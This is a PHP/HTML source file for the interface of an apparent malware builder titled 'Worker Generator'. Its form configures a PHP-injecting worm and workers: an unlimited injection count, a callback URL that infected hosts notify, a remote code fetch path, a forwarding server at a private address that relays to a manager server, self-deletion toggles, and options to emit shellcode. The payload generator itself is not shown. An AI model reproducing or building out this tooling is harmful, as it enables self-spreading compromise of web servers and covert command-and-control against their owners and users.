<?php
require("get_code.php");
?>
<!doctype html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Worker Generator</title>
    <!-- <link href="../css/bootstrap.css" rel="stylesheet" type="text/css"> -->
    <link href="../css/bootstrap-3.3.4.css" rel="stylesheet" type="text/css">
    <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
    <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
    <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
    <![endif]-->
</head>

<body>
<div class="container">
    <form id="form" action="_generate.php" method="post">
        <div class="row">
            <div class="col-sm-3">
                <span><string>evaluator(shellcode) type : </string></span>
            </div>
            <div class="col-sm-2">
                <label>
                    <input type="radio" name="evaluator_type" value="rsa" checked>
                    <string>RSA</string>
                </label>
                <label>
                    <input type="radio" name="evaluator_type" value="timer">
                    <string>Timer</string>
                </label>
            </div>
            <div class="col-sm-offset-3 col-sm-4">
            </div>
        </div>
        <div class="row">
            <div class="col-sm-offset-8 col-sm-4 row">
                <div class="col-sm-6">
                    <button type="button" class="btn btn-default center-block"
                            onclick="action.value = 'generate_evaluator'; output_shellcode.value = 'false'; form.submit();">Generate Evaluator
                    </button>
                </div>
                <div class="col-sm-6">
                    <button type="button" class="btn btn-default center-block"
                            onclick="action.value = 'generate_evaluator'; output_shellcode.value = 'true'; form.submit();">
                        Generate Evaluator shellcode
                    </button>
                </div>
            </div>
        </div>
        <div class="row">
            <div class="col-lg-3"><p>remote_injected_notifier_path : </p></div>
            <div class="col-lg-5"><input id="remote_injected_notifier_path" type="text" class="form-control" name="remote_injected_notifier_path"
                                         value="<?php echo generate_server_url('../handler/inject_handler.php'); ?>"
                                         placeholder="Url for client to notify whenever a php file is injected."></div>
        </div>
        <div class="row">
            <div class="col-lg-3"><p>max_inject : </p></div>
            <div class="col-lg-5"><input type="text" class="form-control" name="max_inject" value="<?php echo -1; ?>"
                                         placeholder="Maximun # of php files to inject, -1 for no limit."></div>
        </div>
        <div class="row">
            <div class="col-lg-3"><p>notify_server : </p></div>
            <div class="col-lg-5">
                <label>
                    <input type="radio" name="notify_server" value="true" checked>
                    <string>true</string>
                </label>
                <label>
                    <input type="radio" name="notify_server" value="false">
                    <string>false</string>
                </label></div>
        </div>
        <div class="row">
            <div class="col-lg-3"><p>worm - delete_self : </p></div>
            <div class="col-lg-5">
                <label>
                    <input type="radio" name="worm_delete_self" value="true" checked>
                    <string>true</string>
                </label>
                <label>
                    <input type="radio" name="worm_delete_self" value="false">
                    <string>false</string>
                </label></div>
        </div>
        <div class="row">
            <div class="col-sm-offset-8 col-sm-4 row">
                <div class="col-sm-6">
                    <button type="button" class="btn btn-default center-block"
                            onclick="action.value = 'generate_worm'; output_shellcode.value = 'false'; form.submit();">Generate Worm
                    </button>
                </div>
                <div class="col-sm-6">
                    <button type="button" class="btn btn-default center-block"
                            onclick="action.value = 'generate_worm'; output_shellcode.value = 'true'; form.submit();">
                        Generate Worm Shellcode
                    </button>
                </div>
            </div>
        </div>
        <div class="row">
            <div class="col-lg-3"><p>remote_code_path : </p></div>
            <div class="col-lg-5"><input id="remote_code_path" type="text" class="form-control" name="remote_code_path"
                                         value="<?php echo generate_server_url('../show_code.php'); ?>"
                                         placeholder="Maximun # of php files to inject, -1 for no limit."></div>
        </div>
        <div class="row">
            <div class="col-lg-3"><p>put_worm : </p></div>
            <div class="col-lg-5">
                <label>
                    <input type="radio" name="put_worm" value="true" checked>
                    <string>true</string>
                </label>
                <label>
                    <input type="radio" name="put_worm" value="false">
                    <string>false</string>
                </label></div>
        </div>
        <div class="row">
            <div class="col-lg-3"><p>worker - delete_self : </p></div>
            <div class="col-lg-5">
                <label>
                    <input type="radio" name="worker_delete_self" value="true" checked>
                    <string>true</string>
                </label>
                <label>
                    <input type="radio" name="worker_delete_self" value="false">
                    <string>false</string>
                </label></div>
        </div>
        <div class="row">
            <div class="col-lg-3"><p>Forwardeing Server : </p></div>
            <div class="col-lg-5"><input id="forwarding_server" type="text" class="form-control" name="remote_code_path"
                                         value="http://192.168.40.136/"
                                         placeholder="server address which can forward post to manager server."></div>
        </div>
        <div class="row">
            <div class="col-sm-2"></div>
            <div class="col-sm-2">
                <script>
                    function use_forward()
                    {
                        remote_injected_notifier_path.value = forwarding_server.value + 'forward/inject_handler.php';
                        remote_code_path.value = forwarding_server.value + 'forward/show_code.php';
                    }
                    function use_direct()
                    {
                        remote_injected_notifier_path.value = "<?php echo generate_server_url('../handler/inject_handler.php'); ?>";
                        remote_code_path.value = "<?php echo generate_server_url('../show_code.php') ?>";
                    }
                </script>
                <button type="button" class="btn btn-default center-block"
                        onclick="use_forward();">Use Forwarder
                </button>
            </div>
            <div class="col-sm-2">
                <button type="button" class="btn btn-default center-block"
                        onclick="use_direct()">Direct Connection
                </button>
            </div>
            <input id="output_shellcode" type="hidden" name="output_shellcode" value="false"/>
            <input id="action" type="hidden" name="action" value="generate_worker_all"/>
        </div>
        <div class="row"> &nbsp;</div>
        <div class="row">
            <div class="col-sm-2"></div>
            <div class="col-sm-2">
                <button type="button" class="btn btn-default center-block"
                        onclick="action.value = 'generate_worker_all'; output_shellcode.value = 'false'; form.submit();">Generate Normal Code
                </button>
            </div>
            <div class="col-sm-2">
                <button type="button" class="btn btn-default center-block"
                        onclick="action.value = 'generate_worker_all'; output_shellcode.value = 'true'; form.submit();">Generate ShellCode
                </button>
            </div>
            <input id="output_shellcode" type="hidden" name="output_shellcode" value="false"/>
            <input id="action" type="hidden" name="action" value="generate_worker_all"/>
        </div>
    </form>
</div>
</body>
</html>
